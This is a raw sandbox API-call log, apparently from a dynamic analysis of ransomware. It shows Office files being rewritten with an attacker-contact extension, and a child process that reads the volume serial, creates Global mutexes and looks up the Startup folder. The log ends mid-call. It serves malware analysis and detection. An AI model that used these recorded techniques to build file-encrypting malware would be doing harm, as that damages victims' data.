Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 1 [0112.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0112.219] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34df760 | out: lpNewFilePointer=0x0) returned 1 [0112.219] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34df760 | out: lpNewFilePointer=0x0) returned 1 [0112.219] ReadFile (in: hFile=0x328, lpBuffer=0x3822058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34df76c, lpOverlapped=0x0 | out: lpBuffer=0x3822058*, lpNumberOfBytesRead=0x34df76c*=0x40000, lpOverlapped=0x0) returned 1 [0112.234] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xaa000, lpNewFilePointer=0x0, dwMoveMethod=0x34df760 | out: lpNewFilePointer=0x0) returned 1 [0112.234] ReadFile (in: hFile=0x328, lpBuffer=0x3862058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34df76c, lpOverlapped=0x0 | out: lpBuffer=0x3862058*, lpNumberOfBytesRead=0x34df76c*=0x40000, lpOverlapped=0x0) returned 1 [0112.250] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x1be000, lpNewFilePointer=0x0, dwMoveMethod=0x34df760 | out: lpNewFilePointer=0x0) returned 1 [0112.250] ReadFile (in: hFile=0x328, lpBuffer=0x38a2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34df76c, lpOverlapped=0x0 | out: lpBuffer=0x38a2058*, lpNumberOfBytesRead=0x34df76c*=0x40000, lpOverlapped=0x0) returned 1 [0113.229] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34df8d0 | out: lpNewFilePointer=0x0) returned 1 [0113.229] WriteFile (in: hFile=0x328, lpBuffer=0x3822020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x34df8c8, lpOverlapped=0x0 | out: lpBuffer=0x3822020*, lpNumberOfBytesWritten=0x34df8c8*=0xc0112, lpOverlapped=0x0) returned 1 [0113.256] SetEndOfFile (hFile=0x328) returned 1 [0113.261] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x1be000, lpNewFilePointer=0x0, dwMoveMethod=0x34df768 | out: lpNewFilePointer=0x0) returned 1 [0113.262] WriteFile (in: hFile=0x328, lpBuffer=0x38e214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34df774, lpOverlapped=0x0 | out: lpBuffer=0x38e214a*, lpNumberOfBytesWritten=0x34df774*=0x40000, lpOverlapped=0x0) returned 1 [0114.545] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xaa000, lpNewFilePointer=0x0, dwMoveMethod=0x34df768 | out: lpNewFilePointer=0x0) returned 1 [0114.545] WriteFile (in: hFile=0x328, lpBuffer=0x38e214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34df774, lpOverlapped=0x0 | out: lpBuffer=0x38e214a*, lpNumberOfBytesWritten=0x34df774*=0x40000, lpOverlapped=0x0) returned 1 [0114.547] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34df768 | out: lpNewFilePointer=0x0) returned 1 [0114.547] WriteFile (in: hFile=0x328, lpBuffer=0x38e214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34df774, lpOverlapped=0x0 | out: lpBuffer=0x38e214a*, lpNumberOfBytesWritten=0x34df774*=0x40000, lpOverlapped=0x0) returned 1 [0114.549] CloseHandle (hObject=0x328) Thread: id = 38 os_tid = 0xf84 Thread: id = 39 os_tid = 0xeac Process: id = "2" image_name = "exec.exe.bak.exe" filename = "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe" page_root = "0x7bc1000" os_pid = "0x10f0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x112c" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x10dc [0079.340] GetProcessHeap () returned 0x330000 [0079.340] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x30) returned 0x346390 [0079.351] GetProcessHeap () returned 0x330000 [0079.351] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x3e10) returned 0x346510 [0079.351] GetProcessHeap () returned 0x330000 [0079.351] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x300) returned 0x34a328 [0079.352] GetProcessHeap () returned 0x330000 [0079.352] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x338288 [0079.352] GetTickCount () returned 0x11550cc [0079.352] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x10ffd80, cchData=32 | out: lpLCData="\x03") returned 16 [0079.354] GetProcessHeap () returned 0x330000 [0079.354] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x334950 [0079.354] GetProcessHeap () returned 0x330000 [0079.354] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34a630 [0079.354] GetProcessHeap () returned 0x330000 [0079.354] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34a848 [0079.354] GetProcessHeap () returned 0x330000 [0079.354] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34aa60 [0079.354] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34aa60, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0079.354] GetProcessHeap () returned 0x330000 [0079.354] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34aa60 | out: hHeap=0x330000) returned 1 [0079.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.354] GetProcessHeap () returned 0x330000 [0079.355] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a630 | out: hHeap=0x330000) returned 1 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a848 | out: hHeap=0x330000) returned 1 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x334950 | out: hHeap=0x330000) returned 1 [0079.355] GetVersion () returned 0x23f00206 [0079.355] GetCurrentProcess () returned 0xffffffff [0079.355] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x10ffd14 | out: TokenHandle=0x10ffd14*=0x1dc) returned 1 [0079.355] GetTokenInformation (in: TokenHandle=0x1dc, TokenInformationClass=0x14, TokenInformation=0x10ffd0c, TokenInformationLength=0x4, ReturnLength=0x10ffd10 | out: TokenInformation=0x10ffd0c, ReturnLength=0x10ffd10) returned 1 [0079.355] CloseHandle (hObject=0x1dc) returned 1 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x334950 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34a630 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34a848 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a630 | out: hHeap=0x330000) returned 1 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a848 | out: hHeap=0x330000) returned 1 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x334b68 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x332b28 [0079.355] GetProcessHeap () returned 0x330000 [0079.355] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x334d50 [0079.356] GetProcessHeap () returned 0x330000 [0079.356] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.356] GetProcessHeap () returned 0x330000 [0079.356] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.356] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x332b28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0079.356] GetProcessHeap () returned 0x330000 [0079.356] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x334d50 | out: hHeap=0x330000) returned 1 [0079.356] GetProcessHeap () returned 0x330000 [0079.356] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x334b68 | out: hHeap=0x330000) returned 1 [0079.356] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x10ffccc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x10ffccc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0079.357] GetProcessHeap () returned 0x330000 [0079.357] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x332b28 | out: hHeap=0x330000) returned 1 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x30) returned 0x3460f0 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2a) returned 0x346198 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x346198, Size=0x52) returned 0x334720 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3460f0 | out: hHeap=0x330000) returned 1 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x334720 | out: hHeap=0x330000) returned 1 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1c) returned 0x332b28 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1c) returned 0x334b68 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x334d50 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x334d78 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3341c8 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.358] GetProcessHeap () returned 0x330000 [0079.358] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.359] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x334d78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0079.359] GetProcessHeap () returned 0x330000 [0079.359] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3341c8 | out: hHeap=0x330000) returned 1 [0079.359] GetProcessHeap () returned 0x330000 [0079.359] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x334d50 | out: hHeap=0x330000) returned 1 [0079.359] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x10ffcb4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x10ffcb4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0079.359] GetProcessHeap () returned 0x330000 [0079.359] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x334d78 | out: hHeap=0x330000) returned 1 [0079.359] GetProcessHeap () returned 0x330000 [0079.359] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33ddd8 [0079.359] GetProcessHeap () returned 0x330000 [0079.359] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x33e0a8 [0079.359] GetProcessHeap () returned 0x330000 [0079.359] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33e0a8, Size=0x72) returned 0x33add8 [0079.359] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x0 [0079.359] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000000") returned 0x1dc [0079.359] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x0 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ddd8 | out: hHeap=0x330000) returned 1 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33add8 | out: hHeap=0x330000) returned 1 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a6d0 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a9f0 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a658 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.360] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a9f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a658 | out: hHeap=0x330000) returned 1 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a6d0 | out: hHeap=0x330000) returned 1 [0079.360] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x10ffc9c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x10ffc9c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9f0 | out: hHeap=0x330000) returned 1 [0079.360] GetProcessHeap () returned 0x330000 [0079.360] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33e258 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x33dcb8 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33dcb8, Size=0x72) returned 0x33add8 [0079.361] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x1e0 [0079.361] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0079.361] CloseHandle (hObject=0x1e0) returned 1 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33e258 | out: hHeap=0x330000) returned 1 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33add8 | out: hHeap=0x330000) returned 1 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a9c8 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a658 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a9f0 [0079.361] GetProcessHeap () returned 0x330000 [0079.361] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.361] GetProcessHeap () returned 0x330000 [0079.362] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.362] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0079.362] GetProcessHeap () returned 0x330000 [0079.362] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9f0 | out: hHeap=0x330000) returned 1 [0079.362] GetProcessHeap () returned 0x330000 [0079.362] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9c8 | out: hHeap=0x330000) returned 1 [0079.362] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x10ffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x10ffcd4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0079.362] GetProcessHeap () returned 0x330000 [0079.362] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a658 | out: hHeap=0x330000) returned 1 [0079.362] GetProcessHeap () returned 0x330000 [0079.362] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x60) returned 0x33a248 [0079.362] GetProcessHeap () returned 0x330000 [0079.362] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a928 [0079.362] GetProcessHeap () returned 0x330000 [0079.362] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a658 [0079.362] GetProcessHeap () returned 0x330000 [0079.363] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a7c0 [0079.363] GetProcessHeap () returned 0x330000 [0079.363] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.363] GetProcessHeap () returned 0x330000 [0079.363] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.363] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x34a658, nSize=0xf | out: lpDst="") returned 0x1e [0079.363] GetProcessHeap () returned 0x330000 [0079.363] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a7c0 | out: hHeap=0x330000) returned 1 [0079.363] GetProcessHeap () returned 0x330000 [0079.363] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x34a658, Size=0x3a) returned 0x33e0f0 [0079.363] GetProcessHeap () returned 0x330000 [0079.363] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x3a) returned 0x33dcb8 [0079.363] GetProcessHeap () returned 0x330000 [0079.363] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.363] GetProcessHeap () returned 0x330000 [0079.363] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.363] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x33e0f0, nSize=0x1d | out: lpDst="") returned 0x1e [0079.363] GetProcessHeap () returned 0x330000 [0079.363] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33dcb8 | out: hHeap=0x330000) returned 1 [0079.363] GetProcessHeap () returned 0x330000 [0079.363] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33e0f0, Size=0x72) returned 0x33add8 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x72) returned 0x33a310 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.364] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x33add8, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0079.364] GetProcessHeap () returned 0x330000 [0079.364] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a928 | out: hHeap=0x330000) returned 1 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33db08 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3e) returned 0x33df88 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x3e) returned 0x33dfd0 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.364] GetProcessHeap () returned 0x330000 [0079.364] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x10) returned 0x338318 [0079.364] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffbec | out: phkResult=0x10ffbec*=0x1e4) returned 0x0 [0079.365] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x10ffbe8, lpData=0x33dfd0, lpcbData=0x10ffbf0*=0x3e | out: lpType=0x10ffbe8*=0x2, lpData=0x33dfd0*=0x2e, lpcbData=0x10ffbf0*=0x98) returned 0xea [0079.365] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x338318 | out: hHeap=0x330000) returned 1 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33dfd0 | out: hHeap=0x330000) returned 1 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33df88, Size=0x7a) returned 0x334990 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x7a) returned 0x33ace8 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33aed0 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x10) returned 0x338318 [0079.365] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffbec | out: phkResult=0x10ffbec*=0x1e4) returned 0x0 [0079.365] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x10ffbe8, lpData=0x33ace8, lpcbData=0x10ffbf0*=0x7a | out: lpType=0x10ffbe8*=0x2, lpData=0x33ace8*=0xd0, lpcbData=0x10ffbf0*=0x98) returned 0xea [0079.365] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.365] GetProcessHeap () returned 0x330000 [0079.365] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x338318 | out: hHeap=0x330000) returned 1 [0079.365] GetProcessHeap () returned 0x330000 [0079.366] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33aed0 | out: hHeap=0x330000) returned 1 [0079.366] GetProcessHeap () returned 0x330000 [0079.366] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.366] GetProcessHeap () returned 0x330000 [0079.366] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x334990, Size=0xf2) returned 0x33a0e0 [0079.366] GetProcessHeap () returned 0x330000 [0079.366] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xf2) returned 0x3388d8 [0079.366] GetProcessHeap () returned 0x330000 [0079.366] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.366] GetProcessHeap () returned 0x330000 [0079.366] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x10) returned 0x3381e0 [0079.366] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffbec | out: phkResult=0x10ffbec*=0x1e4) returned 0x0 [0079.366] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x10ffbe8, lpData=0x3388d8, lpcbData=0x10ffbf0*=0xf2 | out: lpType=0x10ffbe8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x10ffbf0*=0x98) returned 0x0 [0079.366] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.366] GetProcessHeap () returned 0x330000 [0079.366] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3381e0 | out: hHeap=0x330000) returned 1 [0079.366] GetProcessHeap () returned 0x330000 [0079.366] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a6f8 [0079.366] RegOpenKeyExW (in: hKey=0x80000001, 